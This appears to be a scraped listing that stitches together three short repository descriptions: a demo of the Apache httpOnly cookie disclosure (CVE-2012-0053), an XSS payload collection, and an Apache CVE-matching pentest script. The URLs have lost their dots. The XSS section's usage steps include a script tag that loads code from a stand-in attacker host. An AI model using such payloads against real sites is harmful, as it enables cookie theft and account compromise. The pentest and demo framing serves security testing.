CVE-2012-0053

Demo of Apache httpOnly Cookie Disclosure Exploit CVE2012 0053

CVE20120053Demo Demo of Apache httpOnly Cookie Disclosure Exploit CVE2012 0053 This demo desmostrates the vunerability of apache registered at CVE: 2012-0053 More info at: accessredhatcom/security/cve/CVE-2012-0053 The code of exploit can be found here: wwwexploit-dbcom/exploits/18442/ The video of this demo can found at Youtube: youtube/Hrt32bPuxBA

Exploitation for XSS

xss_payloads Payloads for practical exploitation of cross site scripting Usage Find XSS vuln in your app Get PoC exploit: alert(1) etc Host these payloads somewhere Use vuln to pull one of these payloads into the app <script src="attackerip/filejs"></script> Profit js vs php files Some of the files are plain JavaScript js files,

Pentest Scripts for Apache Vulnerabilities

Apache-Vulns Pentest Scripts for Apache Vulnerabilities apacheScanpy The purpose of this script is to enable pentesters to quickly check which CVE-IDs apply to a particular Apache version apacheScan comes with a text file which contains all CVE-IDs taken from [httpdapacheorg] (httpdapacheorg) The python script simply retrieves the CVE-IDs that apply